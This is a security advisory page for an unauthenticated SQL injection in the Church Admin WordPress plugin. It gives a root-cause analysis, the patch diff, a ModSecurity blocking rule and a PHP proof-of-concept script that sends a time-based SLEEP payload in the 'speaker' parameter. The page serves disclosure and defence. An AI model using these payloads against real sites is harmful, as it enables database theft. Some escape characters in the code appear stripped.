Opens in a new tab
Published : November 15, 2026

CVE-2026-66478: Church Admin <= 5.1.1 Unauthenticated SQL Injection PoC, Patch Analysis & Rule

Plugin church-admin
Severity High (CVSS 7.5)
CWE 89
Vulnerable Version 5.1.1
Patched Version 5.1.2
Disclosed August 9, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-66478: The Church Admin plugin for WordPress versions up to 5.1.1 is vulnerable to unauthenticated SQL injection. The flaw resides in the podcast and sermon display functionality, where user-supplied parameters are concatenated into SQL queries without proper escaping or preparation. An attacker can inject arbitrary SQL commands into existing queries, leading to sensitive data extraction from the WordPress database. The CVSS score is 7.5 (High), reflecting the ease of exploitation and the potential for confidentiality impact.

Root Cause: The root cause is insufficient escaping of user-controlled input and lack of query preparation. In `church-admin.php`, around line 4985, the `$series_id` and `$speaker` parameters (derived from `$_REQUEST`) are directly appended to the `$SQL` array, which is then concatenated into a query string used in `$wpdb->get_var()`. The original code comments out the query building and replaces it with a flawed attempt that still concatenates `$SQL` elements. In `display/new-sermon-podcast.php`, line 121, the `$speaker` parameter is embedded in a `LIKE` clause using `$wpdb->esc_like()` but without proper quoting or `$wpdb->prepare()`, making it vulnerable. Similarly, line 138, the `$search` parameter is inserted into multiple `LIKE` clauses without preparation. In `display/sermon-podcast.php`, line 145, the `$speaker` parameter is again concatenated into a `LIKE` clause without preparation. These flaws allow attackers to break out of the intended SQL syntax and inject arbitrary SQL.

Exploitation: An unauthenticated attacker can exploit this vulnerability by sending crafted HTTP requests to endpoints that trigger the vulnerable code paths. The podcast and sermon display functionality is likely accessed via shortcodes or query parameters on front-end pages. For example, a request to a page containing the podcast shortcode with `?series_id=1 UNION SELECT …` or `?speaker=’ OR SLEEP(5)–` can inject SQL. The `speaker` parameter is also used in search functionality. Attackers can use time-based or error-based injection techniques to extract data from the database, such as admin credentials or other sensitive information. The exact endpoint depends on how the plugin exposes these features, but typical vectors include `/index.php?p=&speaker=…` or direct POST requests to admin-ajax.php if the functionality is hooked there.

Patch Analysis: The patch addresses the vulnerability by replacing string concatenation with parameterized queries using `$wpdb->prepare()`. In `church-admin.php`, the vulnerable code is commented out and replaced with a new block that builds the `$SQL` array with placeholders (`%d` for integers and `%s` for strings) and corresponding `$SQL_args` array. The query is then prepared using `$wpdb->prepare($query, $SQL_args)`, ensuring proper escaping and quoting. In `display/new-sermon-podcast.php`, the `$speakerSQL` and `$searchSQL` are now built using `$wpdb->prepare()` with placeholders, and the input is escaped with `$wpdb->esc_like()` before being wrapped in wildcards. In `display/sermon-podcast.php`, the `$speaker` condition uses `$wpdb->prepare(‘ AND speaker LIKE %s’, ‘%’.$wpdb->esc_like($speaker).’%’)`. These changes prevent injection by separating SQL code from data.

Impact: Successful exploitation allows an unauthenticated attacker to execute arbitrary SQL queries against the WordPress database. This can lead to the extraction of sensitive information, including user credentials, personally identifiable information (PII), and other confidential data. In severe cases, the attacker could modify or delete data, or potentially escalate privileges if the database user has sufficient permissions. The vulnerability poses a significant risk to the confidentiality, integrity, and availability of the affected WordPress site.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/church-admin/church-admin.php
+++ b/church-admin/church-admin.php
@@ -4,7 +4,7 @@
 Plugin Name: Church Admin
 Plugin URI: http://www.churchadminplugin.com/
 Description: Manage church life with address book, schedule, classes, small groups, and advanced communication tools - bulk email and sms.
-Version: 5.1.1
+Version: 5.1.2
 Tags: sermons, sermons, prayer, membership, SMS, Bible, events, calendar, email, small groups, contact form, giving, administration, management, child protection, safeguarding
 Author: Andy Moyle
 Text Domain: church-admin
@@ -4978,7 +4978,7 @@
                 $file_list=church_admin_podcast_files_list((int)$series_id,(int)$page,(int)$limit, $speaker,NULL, $order  );
                 $series_detail='';
                 if(!empty( $_REQUEST['series_id'] ) )$series_detail=church_admin_podcast_series_detail((int)$series_id,NULL);
-
+                /*
                 $SQL=array();
                 if(!empty( $series_id ) )
                 {
@@ -4992,7 +4992,29 @@
                 //$order is safe withour escaping as can only be DESC or ASC
                 $first_sermon_id=$wpdb->get_var('SELECT file_id FROM '.$wpdb->prefix.'church_admin_sermon_files WHERE 2=2 '.implode(" ",$SQL).' ORDER BY pub_date '.$order.' LIMIT 1');
                 $first_sermon=church_admin_podcast_file_detail( $first_sermon_id,$exclude=NULL);
-
+                */
+
+                $SQL = array();
+                $SQL_args = array();
+
+                if ( ! empty( $series_id ) ) {
+                    $SQL[]      = ' AND series_id = %d';
+                    $SQL_args[] = (int) $series_id;
+                }
+
+                if ( ! empty( $_REQUEST['speaker'] ) ) {
+                    $SQL[]      = ' AND speaker LIKE %s';
+                    $SQL_args[] = '%' . $wpdb->esc_like( $speaker ) . '%'; // esc_like for wildcards, prepare() adds quoting/escaping
+                }
+
+                $query = 'SELECT file_id FROM ' . $wpdb->prefix . 'church_admin_sermon_files WHERE 2=2 '
+                        . implode( ' ', $SQL ) . ' ORDER BY pub_date ' . $order . ' LIMIT 1';
+
+                if ( ! empty( $SQL_args ) ) {
+                    $query = $wpdb->prepare( $query, $SQL_args );
+}
+
+                $first_sermon_id = $wpdb->get_var( $query );
                 $outputArray=array('series_detail'=>$series_detail,'file_list'=>$file_list,'first_sermon'=>$first_sermon,'file_id'=>$first_sermon_id);
                 if(defined('CA_DEBUG') )
                 {
--- a/church-admin/display/new-sermon-podcast.php
+++ b/church-admin/display/new-sermon-podcast.php
@@ -121,7 +121,7 @@
     $dateSQL=$searchSQL='';
     $limitSQL = ' LIMIT '.(int)$how_many;
     $orderSQL = ' ORDER BY a.pub_date '.(strtoupper($order) === 'ASC' ? 'ASC' : 'DESC');
-    $speakerSQL= !empty($speaker) ? ' AND a.speaker LIKE "%'.$wpdb->esc_like($speaker).'%" ':'';
+    $speakerSQL= !empty($speaker) ? $wpdb->prepare( ' AND a.speaker LIKE %s ', '%'.$wpdb->esc_like($speaker).'%' ) :'';
     $seriesSQL= !empty($series_id) ? ' AND a.series_id ="'.(int)$series_id.'" ':'';
     $fromSQL = !empty($start_date) ? $wpdb->prepare(" AND (a.pub_date BETWEEN %s AND NOW() )", $start_date) : '';
     //sermon id overrides other SQL filters
@@ -138,7 +138,7 @@
     if(!empty($search)){

         $s='%'.$wpdb->esc_like( $search ).'%';
-        $searchSQL = ' AND (a.file_title LIKE "'.$s.'" OR a.file_description LIKE "'.$s.'" OR a.speaker LIKE "'.$s.'" OR a.bible_texts LIKE "'.$s.'" OR b.series_name LIKE "'.$s.'")  ';
+        $searchSQL = $wpdb->prepare( ' AND (a.file_title LIKE %s OR a.file_description LIKE %s OR a.speaker LIKE %s OR a.bible_texts LIKE %s OR b.series_name LIKE %s)  ', $s, $s, $s, $s, $s );
         $orderSQL = $speakerSQL = $seriesSQL = '';
     }
     /*******************************
--- a/church-admin/display/sermon-podcast.php
+++ b/church-admin/display/sermon-podcast.php
@@ -145,7 +145,7 @@
         if(!empty( $speaker) )
         {
             $speaker=sanitize_text_field( $speaker);
-            if(!empty( $speaker) )$SQL[]=' AND speaker LIKE "%'.$wpdb->esc_like( $speaker ).'%"';
+            if(!empty( $speaker) )$SQL[]=$wpdb->prepare(' AND speaker LIKE %s', '%'.$wpdb->esc_like( $speaker ).'%');
         }
         if(!empty( $series_sql) )
         {

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-66478
# This rule blocks SQL injection attempts targeting the 'speaker' parameter in Church Admin <= 5.1.1.
# It matches requests to WordPress pages (index.php) with a 'speaker' parameter containing SQL injection patterns.
SecRule REQUEST_FILENAME "@rx ^/index.php$" 
    "id:202666478,phase:2,deny,status:403,chain,msg:'CVE-2026-66478 SQL Injection via Church Admin speaker parameter',severity:'CRITICAL',tag:'CVE-2026-66478'"
    SecRule ARGS_GET:speaker "@rx (?:x27|x22|x60|x2dx2d|x2fx2a|bunionb|bselectb|bsleepb|bbenchmarkb|bwaitforb|bdelayb|borb|bandb|bwhereb|bfromb)" 
        "t:urlDecode,t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-66478 - Church Admin <= 5.1.1 - Unauthenticated SQL Injection

// Configuration
$target_url = 'http://example.com'; // Replace with target WordPress site URL
$page_id = 1; // Replace with a page ID that uses the podcast/sermon shortcode

// Payload for time-based SQL injection via 'speaker' parameter
// This payload will cause a 5-second delay if the vulnerability exists.
$payload = "' AND (SELECT 1 FROM (SELECT SLEEP(5))a)-- ";

// Build the request URL
$url = $target_url . '/?page_id=' . $page_id . '&speaker=' . urlencode($payload);

// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

// Measure response time
$start = microtime(true);
$response = curl_exec($ch);
$end = microtime(true);
$duration = $end - $start;

// Check for errors
if (curl_errno($ch)) {
    echo 'cURL error: ' . curl_error($ch) . "n";
    exit(1);
}

$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Analyze results
echo "HTTP Status: $http_coden";
echo "Response time: " . round($duration, 2) . " secondsn";

if ($duration >= 5) {
    echo "[+] Vulnerability confirmed: Time-based SQL injection detected.n";
} else {
    echo "[-] No delay observed. Target may be patched or payload not triggered.n";
}

// Note: The exact parameter and endpoint may vary based on plugin configuration.
// The 'speaker' parameter is used in multiple vulnerable locations.
// Adjust the page ID and parameter name as needed.
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.